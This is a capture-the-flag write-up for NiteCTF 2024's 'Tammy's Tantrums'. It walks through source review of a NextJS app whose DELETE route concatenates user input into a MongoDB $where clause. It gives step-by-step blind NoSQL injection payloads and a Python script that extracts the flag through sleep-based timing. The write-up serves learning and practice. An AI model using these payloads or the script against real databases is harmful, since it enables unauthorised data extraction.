../ NiteCTF 2024 - Web - Tammy's Tantrums

Played with hAOckers_TV.

NextJS application with source code review. The app allowed users to:

  • register new accounts
  • login
  • create new tantrums
  • delete tantrums
  • view tantrums of other users

The source code contained roughly 1.5k lines of Typescript

leo@arch:challenge$ cloc .
      47 text files.
      47 unique files.
       4 files ignored.

github.com/AlDanial/cloc v 1.90  T=0.04 s (1176.0 files/s, 325173.8 lines/s)
-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
JSON                             5              0              0           9355
TypeScript                      30            212              6           1656
CSS                              1             45              0            288
JavaScript                       5             17             18            258
Dockerfile                       1             11              0             20
Bourne Shell                     1              0              0              4
-------------------------------------------------------------------------------
SUM:                            43            285             24          11581
-------------------------------------------------------------------------------

There was also a dockerfile that could be built and run

leo@arch:challenge$ docker build -t chal .
leo@arch:challenge$ docker run --name chal --rm -dit -p3000:3000 chal

The app source folder was structured as follows

leo@arch:src$ tree -L 2
.
├── app
│   ├── api
│   ├── discover
│   ├── layout.tsx
│   ├── login
│   ├── logout
│   ├── page.tsx
│   ├── register
│   ├── tantrums
│   ├── [username]
│   └── utils.ts
├── components
│   ├── About.tsx
│   ├── Bubble.tsx
│   ├── Footer.tsx
│   └── Header.tsx
...
├── initDb.js
├── lib
│   ├── db.ts
│   ├── initTantrums.json
│   ├── models
│   └── utils.ts
...
├── start.sh
├── styles
│   └── globals.css
...

12 directories, 24 files

The initDB.js shows the setup of the application, which was run as soon as the container started. The script read the FLAG from an environmental variable, registered a user called tammy and finally added the FLAG to the mongoDB instance running in the container.

Specifically, the flag was added as the description field of a Tantrum.

const fs = require("fs")
const path = require("path")

const BASE_URL = "http://localhost:3000/api/v1"
const FLAG = process.env.FLAG ?? "nite{fake_flag}"
const USERNAME = "tammy"

// ...

const tantrumData = JSON.parse(fs.readFileSync(path.join(process.cwd(), "lib", "initTantrums.json"), "utf8"))
tantrumData.push({
    title: "flag",
    description: FLAG,
    isPrivate: true,
})

for (const tantrum of tantrumData) {
    const createResponse = await fetch(`${BASE_URL}/tantrums`, {
        method: "POST",
        headers: {
            "Content-Type": "application/json",
            Cookie: token,
        },
        body: JSON.stringify({
            title: tantrum.title,
            description: tantrum.description,
            isPrivate: tantrum.isPrivate || false,
        }),
    })

    if (!createResponse.ok) {
        throw new Error(`Failed to create tantrum: ${await createResponse.text()}`)
    }
    console.log(`Created tantrum: ${tantrum.title}`)
}

So now we know what we need: read the description of the tantrum named flag of other tammy!

With respect to data structures, we find User and Tantrum models.

export interface ITantrum {
	_id: string
	title: string
	description: string
	userId: string
	date: string
	isPrivate: boolean
	background?: string
	opacity?: number
}

export interface IUser {
	username: string
	password: string
	tantrums: ITantrum[]
	createdAt: Date
	updatedAt: Date
}

During code analysis, it was possible to skip many source files, as they either contained simple helpers, or they contained front-end code that is not interesting for the challenge.

The most important to folder to analyze was therefore the src/app/api/v1, which contained the implementation for the various API controllers. Of these, the most interesting one is the controller defined within the file for handling the DELETE method.

challenge/src/app/api/v1/tantrums/[id]/route.ts

During the code a string is created concatenating javascript code with user input. This string is then used as a where filter for the mongoDB query.

export async function DELETE(request: Request, { params }: { params: { id: string } }): Promise<NextResponse<unknown>> {
  try {
    const cookie = request.headers.get("cookie")

    // parse cookie

    const decoded = jwt.verify(token, config.jwtSecret) as { userId: string }
    const { userId } = decoded
    const tantrumId = atob(params.id)

    await dbConnect()

    // DANGEROUS!
    const whereStr = `function() { return this._id === '${tantrumId}' }`
    const tantrum = await Tantrum.findOne({
      $where: whereStr,
    })
    if (!tantrum) {
      return errorResponse("Request failed", "Tantrum not found", 404)
    } else if (tantrum.userId !== userId) {
      return errorResponse("Request failed", "Tantrum belongs to another user", 403)
    }

    // continue
  }
}

By injecting a NoSQL payload, it was possible to obtain a Blind NoSQL Injection. Even though it is not possible to see the output, it is possible to trigger time delays conditionals to the data found in the DB. This is enough to obtain the flag.

A first payload tried was a simple OR 1=1. Be careful on using these payloads on production databases, as they can match all the rows of the DB. In this case however it was fine, as it was a simple CTF.

' || '1' == '1

To obtain arbitrary JS code exec, the idea was to introduce a function.

' || (() => {return '1'})() == '1

Then, we want to match only the row that contains the flag. Given that in the initDb.js the tantrum that contains the flag has title=flag, we can use this condition.

' || this.title === 'flag' && (() => {return '1'})() == '1

We also want to pass the value of the flag to the function, so that we can extract information by using conditionals with delays.

' || this.title === 'flag' && ((flag) => {return '1'})(this.description) == '1

Finally, to extract the first character from the flag, we can iterate over the following payload

' || this.title === 'flag' && ((flag) => { if (flag.substring(0, 1) === 'a') { sleep(5000); } return '1'})(this.description) == '1

If, when sending such request, the server sleeps for 5 seconds, then we know we have found the first character. By iterating the same approach it is possible to obtain all the characters of the flag.

The following python script automates the extraction of the flag

import requests
import string
import base64

JWT = "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NzVkN2FjOTcwYWY4ZWM4MzY5MGEzMTciLCJ1c2VybmFtZSI6InRlc3R0IiwiaWF0IjoxNzM0MTc5Njk2LCJleHAiOjE3MzQyNjYwOTZ9.GMpd0NPh4rx1KovmyV7OL5V2u8xoLCkPEkA2wEmYVTE"

flag = ""
index = 0
while True:
    for c in string.printable:
        payload = "' || this.title === 'flag' && ((flag) => { if (flag.substring(%d, %d) === '%c') {sleep(10000);} return '1' })(this.description) ===  '1" % (index, index+1, c)
        b_payload = base64.b64encode(payload.encode()).decode()
        url = f"https://tammys-tantrums.chalz.nitectf2024.live/api/v1/tantrums/{b_payload}"
        try:
            headers = {
                "Cookie": JWT
            }
            response = requests.delete(url, headers=headers, timeout=5)
        except requests.exceptions.Timeout:
            print(f"FOUND: {c}!")
            flag += c
            index += 1

print(flag)